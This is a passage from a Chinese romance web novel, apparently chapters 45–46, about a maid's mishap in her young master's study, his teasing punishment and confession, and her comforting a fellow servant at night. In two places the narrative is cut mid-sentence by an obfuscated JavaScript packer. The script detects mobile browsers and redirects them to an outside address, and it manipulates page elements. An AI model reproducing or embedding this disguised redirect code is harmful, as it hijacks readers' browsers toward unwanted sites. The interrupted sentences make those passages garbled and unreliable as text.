“咚！”她一腿磕到了桌角，倒抽一口凉气。 …… “哗啦！”她随手一抓，架上的书散落了一地。 …… “当啷！”她乱手一挥，某个值钱玩意摔碎了。 完了。 是倾家荡产的声音。 她欲哭无泪，像个瞎子一样在黑暗中艰难跋涉，终于摸到了救命的门边。 老天爷仿佛故意跟她开玩笑，一阵清晰的脚步声恰好停在门外。 糟了！ 45. 忠心 书房内一片狼藉。桌角歪斜，书架凌乱，那尊唐三彩摔得粉碎。苍仁曲伏地不起，似已昏厥。 宋谨眼见此情此景，神色难辨。身旁侍从一个趔趄，警惕四周，舌根发僵：“这、这是怎么一回事？！莫非有歹人闯入？” “歹人？”宋谨轻笑一声，“何方宵小，能是她的对手？”随即，他吩咐道：“去厨房，备些饭菜过来。” 侍从愕然：“啊？” “等她醒了，吃饱喝足，”宋谨语调凉薄，“便送她上路。” 苍仁曲：“？！” “哦……”侍从唯唯诺诺应着，他满腹疑惑，宋谨语气里也听不出任何情绪，可“送她上路”命令一出，这屋子甭管黑的白的，公子断定什么就是什么了。 苍仁曲眼皮跳了一下，一丝光线渗入她的眼缝。 咦？ 她又能看见了？ 侍从噤声退下，宋谨反身一踹，房门轰然闭合。他视若无睹，径自迈过地上之人，脚踝却陡然一紧，一只手牢牢扣住了他，身后传来一道卑微的哀求声：“公子开恩，求求你，不要卖了我……” 苍仁曲的手劲不是一般的大，宋谨欲要抽腿，整条腿想钉入地下的石桩纹丝不动，完全不听使唤，而她委曲求全的声音在身后连绵不绝。 他语气一沉：“装晕？罪加一等。” 苍仁曲闻声松手，迅速拾起散落在他脚边的书册。宋谨方刚迈出一步，下摆又是一紧。回眸见她抱着书跌坐于地，仰首望来，眼中楚楚可怜。 “公子，可否听我解释？” 宋谨俯身，揪住她后领将人猛然提起，脸上是罕见的厉色：“解释？若有不满，不想干了，自可离去，我绝不阻拦。但似你这般以下犯上，破罐子破摔之人，我平生未见，闻所未闻。” 苍仁曲踉跄站稳。仅是这般训诫，对她而言已是意外之宽，不禁暗自庆幸，若今日座上的是宋曦，怕是早已雷霆震怒，断无转圜余地。 她忙将书册归位，又抢先扶正撞歪的桌角，急声道：“公子明鉴！我绝非此意！实则我……我……” 她目光落在宋谨缠着纱布的手上，旋即绽开一个笑，捧起他的手：“我帮您上药吧！我没少受伤，此事我最擅长了！” 宋谨猛地甩开，蹙眉坐于案前，不再看她。 侍从送来饭菜，或许是苍仁曲的最后一餐，他特地将盘中饭菜特意盛得满些。 他一见公子面色阴云密布，那丫头仍不识趣地围着他打转，心下大骇，撂下食盘便冲上前将她拽开，横身挡在中间，厉声呵斥：“还不退下！当真毫无眼力，非要寻死不成？” 宋谨：“你先出去。” 侍从心下惴惴，仍硬着头皮劝慰道：“公子，为个下人气坏身子不值当，您消消气……” “先出去。”宋谨再度重审一遍，声调未扬，威压骤增。 侍从喉间一哽，不敢再言。他退后一步，朝苍仁曲悄然摇头，面露无奈，无声告退。 沉默比责骂更令人难安。观宋谨这讳莫如深的态度，反叫苍仁曲如坐针毡。这顿饭，她吃与不吃都觉难堪。她宁可他将满腔怒火宣泄于外，哪怕厉声斥责，她也甘之如饴，总好过此刻这般将情绪深埋，任人猜度。 他似乎下定了决心要将她往外推出去，行止间却偏又欲推还留。 徒惹人心乱。 她默然将书房收拾齐整，而后静坐案前，手撑着脸，凝眸于他，惟以筷轻叩桌面，发出断续的“咯噔”轻响。满室皆寂，唯余此声。 单手遮掩的眉目阴影之下，宋谨目光偷偷瞄她一眼，不偏不倚，被她逮个正着。他倏然移开视线，重新凝注于书卷，面色与语气一般冷硬：“看我作甚？我脸上又无饭食。” 傲娇。 那只骨节分明的手仍抵着额角，虚掩着半张矜贵面容。这朵向来喜怒不形于色的高岭之花，偶尔张露一丝丝凡尘俗色，总会让人忍不住一探究竟。 但此刻绝非调侃之时。苍仁曲顺势伏在桌沿，只探出半个脑袋，软语商量：“公子，好歹给句痛快话，让我也吃个痛快，再痛痛快快‘上路’不成？” 撒娇。 这时候反而不用上她伶牙利嘴的本事与之争辩，就知道用……她的眼睛，她的鼻子，她的嘴，她的头发，还有…浑身上下！无一处不在对他软言相求，简直无所不用其极！ 宋谨原想寻个由头发作，目光左移，书架早已归置得整整齐齐；向右一瞥，地面也打扫得干干净净。环视四周，书房内恢复如初，寻不出半分错处。 他直接盯着了她桌上那碗饭：“乖乖把这顿饭吃完，一粒不剩，你便不用‘上路’了。” ？ 方才说吃完就让她“上路”的，不也是他么？ 罢了，他说什么便是什么罢。 总归先吃完这顿饭再说。 苍仁曲从之。待闻碗箸声起，他愠色稍霁，侧首掩去眸中一丝缓和。 其实他满心燥郁，并非源于苍仁曲这一通作乱，全是来自先前父亲找他商谈的事情。 吴任竟私压颐丰粮行粮价，未禀一人，一意孤行。宋德提前遣他往粮行账房查账，也就是撞见萧择天那日，查吴家是否贪墨，却无半分猫腻，宋家、太子府钱库皆分文未动。 太子日理万机，此等细枝末节尚未入眼，其欲上调粮价的消息，在诸粮行之间传得沸沸扬扬。吴任此举反其道而行，太过反常，诸粮行察出端倪，借机以扰乱市肆秩序为由，将颐丰粮行举告至秀止府。 宋德的意思，绝佳时机，正是出手的好时候。 宋谨却为此头疼，毕竟颐丰粮行的粮米订单，多系交岛两岸的赈灾之用，为解流民饥荒所设。 粮行若倒，粮食必被官府查收，经官府之手，断无白赈流民的道理，多半会先抬价售予其他粮行，再令其压价出粮。可粮商岂会愚笨？定然先囤粮待涨价，届时粮价只会居高不下。 一番折腾下来，交岛两岸怕是早已饿殍遍野。 “叮、叮、叮” 苍仁曲挑起两根筷子轻轻敲打吃的干干净净的空碗。 “公子？我吃完了。”她眸光清亮，看向宋谨，“您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103064|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若有气，莫要闷在心里，可不兴总皱着眉头。您不皱眉时，模样最是好看。” 宋谨院里男子居多，何曾听过如此直白的巧言令色？头一次面对这种情况，他脸色浮现一丝局促，侧过脸轻咳一声，借势肃容道：“我在想，该怎么处置你。” “这就对了嘛。”苍仁曲舒了口气，笑道，“公子您不惩罚我点什么，我反而瘆得慌。” “过来，坐我旁边。” 苍仁曲乖乖坐到他旁边，听候发落。 他问：“为什么乱我书房？” 她眼神躲闪：“我……饿晕了头，当时眼前发黑，实在辨不清方向……” 宋谨微微倾头，怀疑自己是不是听错了：“……？” 苍仁曲赶忙保证：“公子恕罪！我往后定当时辰用饭！” “荒唐。”宋谨扶额，无语失笑，“传出去倒成我宋谨短了你吃食。那尊打碎的唐三彩，你待如何赔我？” 苍仁曲：“全凭公子发落。” 宋谨盯着她，忽然伸手，探向她发间。她紧闭眼，只觉发间一松，一支玉翠簪已被他拔走，清冷的声音落下：“没收。” “公子，这是小姐送的……” 话未毕，他再抬腕，取走发间那仅剩的一支簪子。青丝骤散，如瀑垂腰，几缕发丝拂过他的手背。 苍仁曲下意识攥住他的手，他面无表情，只重复二字：“没收。” “公子，您这样，有损你我清白。” 宋谨仿佛置若罔闻，目光锁着她的眼，反手扣住她的手腕，解下腕间玉镯，依旧是那两个字：“没收。” “……” 他面无波澜，她满面绯红。 看着是个端方人，行事怎能如此乖张！全无礼数！ 他眸光轻扫，似在探寻她身上其余值钱物件，苍仁曲怕他再动手，慌忙摸遍全身，把宋曦赏的首饰尽数交了，急道：“我回头把小姐送的那些金银细软，一并当给你！够不够？” 宋谨：“嗯。” 苍仁曲方泄了气，谁知宋谨突然来了句：“缺什么就买什么，记我名下即可，这个不算你欠我的。” 苍仁曲：“？！” 宋谨：“怎么了？” 她攥紧衣角，惭愧不安：“公子对我的好，重逾千斤。我这点微薄忠心轻若鸿毛，方才还还闯了祸，实在受不起公子如初厚爱。” 宋谨默然片刻，淡然道：“现在你倒有个能增添忠心的机会。” “是什么？” “我来为你束发。” “？！” 男子为女子束发，乃亲密伴侣间才有的行径。 男女私情，竟也能算作表忠心的筹码？ 他在试探她的底线。 “我不勉强你，看你心意。” 他的轻描淡写，看似全权让出主动权，实则无需付出任何代价，轻而易举拿捏了她的情、名、利，逼她自轻自贱。 一股恶心涌上喉头。 她当真有选择的余地吗？ “好。” 没有。 46. 越界 宋谨不知从哪里取出一根红绳，挽起苍仁曲一缕青丝，指尖轻柔地穿梭于发间。他慢条斯理编织头发。温热触感宛若软梳按摩着头皮，恰到好处的力道引得她阵阵酥痒。 苍仁曲耳根发热，忍不住问：“公子，您此前也为她人绾发么？” “仅为母亲梳过。”宋谨答得淡然，红绳在他指间穿梭自如，娴熟地绕了一圈又一圈。 原来是在思念亡母。 尽管如此，宋谨每触她一下，她的身体不自觉轻颤一下。 他有所察觉，轻声问：“很抵触？” “公子，您抛开主仆之仪，当知男女授受不亲的道理。您素来注重边界，当能感同身受。” 她话已说透，身后人不为所动，俯身再近。二人相离不过寸许，发丝被他轻握，后颈漫着他若有若无的气息。 “都督府萧司马。” 苍仁曲浑身一僵，听他温声道：“你的边界，分人？那他呢？你与他的边界，又在何处？” 苍仁曲：“公子，萧司马怪会强人所难，当初太子宴上，众人有目共睹。您信我，我身子清白，从未逾矩。” “强人所难？清白之身？”宋谨气息缠上她耳畔，语气微凉，“想来他并非仅仅贪图你的美色。这样一个钱权在手的贵公子，对你有意思得紧，攀上这高枝，哪还需在宋府屈身为侍？你，当真一点不动心？” 苍仁曲惊惶欲躲，忽而头皮一紧。 “别动，”宋谨手上一收，险险悬住方才编绕的发辫，“头发会散。” “公子，人总有身不由己的之时，那日赖您护着，萧司马不敢对我肆意妄为，可多数时候，我明着拒绝也是徒劳，不过是不得已保全自身。若您因此揣测我的忠心，恕我百口莫辩。”苍仁曲微微偏头，指尖轻勾他的衣摆一角，故意教他看见，“公子，您怎会与萧大人一样？我随了您，您要对我做什么，我心甘情愿。” 宋谨缄口不言，指尖灵巧地为她盘好发髻，一根红绳绕匝系牢，发髻稳贴妥帖。 幸好她背对着他，没瞧见他此刻面红耳赤的窘态。 自捻起她那缕发丝，宋谨手心烫得灼人，耳根早染了绯红，幸亏做手工练就的稳劲还在，未露半分颤抖的破绽。 他自知行为越界，偏想守着心的边界，始终以旁观者的冷静与她保持距离。 可怎奈，与她每说一句，他呼吸便错一分，到最后，哪里只是行为逾矩，心，也早跨了那道原本泾渭分明的边界。 他实在高估了自己的定力，听她那番撩人的话语，见她指尖轻触衣摆的试探，放任着她的“忠心”越界，也放任着自己失了方寸。 从未有人如此近地迎合他，于他而言，她不是顺从，是猝不及防的侵犯，扰得他兵荒马乱，不知如何是好。 可这距离，是他亲手缩短的，把原本清清白白的主仆情，拖进了从未涉足、毫无经验的感情领地。 他自作自受。 明明越界的是他，破防的却也是他。 既她都把话说到这份上了…… 那他…… 他…… …… 苍仁曲闻身后的宋谨久无动静，正欲回头，他的重量倾身而下，压在她的肩头上。 “阿曲。” 肩膀触到他滚烫的额头，她柔声关切：“公子？您怎么了？” “这次为你束发，我是宋家公子，仅此一回。”他凝神深吸一口气，字字沉定，“若再有下次越界，就只是宋谨，以真心待你。若你只念主仆情分，敷衍我、践踏我的真心，我定让你付出代价。” 苍仁曲瞳孔一震，此话完全出乎她的意料。 “你是聪明人，该明白我的意思。” 他栽了。 他将自己的软肋，亲手摊在了她面前。 “明白了……”苍仁曲不敢轻举妄动，静静让宋谨依偎在自己肩头上。 他的坦白，让她一下子乱了阵脚。她从未想过，事情会发展到这一步。 他居然，对她动心了。 …… 那晚，苍仁曲终究未被谨公子发落“上路”。当她好端端坐到下一顿饭的桌前，满院侍从无不诧异。 在身处现场的侍从眼里，苍仁曲的祸闯的不小，宋谨气得不轻。他置身事外，将这事在院里传得神乎其神，扬言她见不到明日朝阳，公子要将她碎尸万段，言语骇人至极。 大莱听闻后情绪最为激动，当即就要闯去寻公子为她辩白。所幸公子最后并未重罚，令她回房思过三日，将身边值钱的东西全数上交，这桩事算彻底了结了。 唯有苍仁曲，只觉压力愈重。 她心知肚明，宋谨所谓的宽宏大量，并非他性格使然，而是他私心作祟，独独对她的特殊关照。 以他的名门家世，看上了一无所有的她，哪里受宠若惊？反倒令她毛骨悚然。 天上哪有白掉的馅饼？ 宋谨是明白人，他方才所言，字字警告，他在与她划清底线，往后再越界，容不得她半分虚与委蛇。 越界一步，是诱惑，也是威胁。 诱惑在于，萧良山令她调查宋家私产的任务，她尚且有了眉目，宋谨是其中关键。既知他对自己有情，稍加拿捏，此事能省诸多力气。 威胁在于，若单纯以色诱人，倒不用如此费尽心力。宋谨不然，他不图色，图她的真心——那正是她一窍不通的，她不知该如何伪装假意的真心。 正如他的警告所言，若他发觉，她不过是在利用他的真心，她摸不准自己要付出何等代价。 而就目前来看，这代价，绝非她所能抗衡。 唉。 总之，先尽量离萧择天远些吧。 “叩叩叩。”敲门声猝然打破屋内的静。 “阿曲，你睡下没？”门外是小诗的声音。 苍仁曲不敢怠慢，当即跳下床去开门：“小诗，这时候怎的来了？”目光一凝见她头发湿着，忙拉着人往屋里带，“头发怎么湿了？外头天凉，快进来，小心冻得头疼。” 小诗低低道：“阿曲，今晚我能与你同睡一屋吗？” 苍仁曲听出她话音委屈，问：“可是出什么事了？” 小诗微微摇头，回避道：“没什么，只想跟你说说话。” “不想说也无妨，我陪着你就好，想在这待多久都可以。”苍仁曲说着，打开衣柜，翻出一床备用的被褥。 小诗瞧着她手里的那床被褥，面露窘色，怯怯地坐在床沿：“阿曲，我是不是很讨人厌？” “胡说。”苍仁曲投去不解的目光，一边铺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103065|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展被褥，一边柔声开解，“你好得很，好到所有美好都围着你转，自然惹得人眼红。那些闲言碎语再如何质疑，完全否定不了你本身是个很好的人。” 小诗：“我什么都没说呢。” 苍仁曲铺妥床铺，抬手解发髻上的红绳：“你什么都不说，我就什么都不知道吗？” 小诗蜷进被子里，软声道：“阿曲，你手真巧，一根红绳能编出这么好看的样子。” 苍仁曲不语，满眼关切地望着她，随手将那根宋谨为她系的红绳搁在枕边。 小诗被她盯着，眼睛隐隐红润，也不言语。 苍仁曲熄了灯，灯影一灭，便听见小诗细细的抽噎声。她摸黑挪上床，替她往上拢了拢被子：“头发，是曦小姐院里的人弄湿的？” 小诗蒙被啜泣，露在外的半个脑袋轻轻点了点，算是应了。 苍仁曲将自己的被子分过一半，覆在她的被上。小诗忙探出头：“阿曲，你快盖好，我不冷的，不用给我。” “那我抱抱你？”苍仁曲没等她应声，便掀开她的被角，钻进温热的被窝拥着她，手轻轻拍着她的后背安抚。 两床被子相叠盖着二人，苍仁曲只露了个头，小诗窝在怀里，边哭边哽咽，声音闷在被褥里：“我与阿兰两情相悦，为何小姐不愿意成全我们？” 苍仁曲碰到她湿冷的发根，叹息道：“小姐说什么了？” “小姐训我不懂感恩、全无分寸，说她待我不薄，赏了诸多东西，我却得寸进尺，觊觎她的人，当场用水泼了我。”小诗抽噎着，“阿兰彼时在她身侧，想来也受了训斥，半句辩解不敢有。” 怒火暗生，苍仁曲按捺着，知此刻先安她心绪最是要紧，静听她续道：“阿兰先前同我说，他在秀止有些人脉。我家人要搬来这边，本想找他商量，他躲着不肯见我。院里本没人肯同我说上几句话了，连阿兰也如此待我，我是不是错了？” 苍仁曲安慰道：“小诗，喜欢一个人，本无对错。何况你如此勇敢，明知小姐有意阻挠，也喜欢得义无反顾，恰恰是话本里最令人倾佩的角色，怎会令人生厌？旁人的恶意，无非惧于小姐的威压罢了，这些声音让你疑心自己，从来都不是你的问题。” 小诗怯声问：“阿曲，如果我继续坚持，小姐她……？” “小诗，你只需想清楚一个问题。你想不想跟石举兰在一起？” 小诗眼眶闪着泪光，语气坚定：“想，他就是我的命定之人。” “真是拿你没办法。”苍仁曲扯了扯被角，翻身阖眼，“在我这，你什么都不用想，只管安安心心惦着你的命定之人，想什么都成，只求你想开心的，乏了就睡。” 忽然，她翻身背对着她，小声嘟囔着：“我可一点不难过。” 小诗瞧着她模样，从身后轻轻抱住她，笑出声：“谢谢你，阿曲。” “客气了，小可怜虫。” 小诗把被子又推回她那边，仔细替她掖紧了被角。 苍仁曲静躺着，一个法子悄然浮形。 既然宋谨想要她的真心，那她得先确认，宋谨予她的，究竟有几分真心。 如何确认？先从宋曦下手。 再到石举兰。 不管石举兰愿不愿意，他都必须给小诗一个明明白白的交代。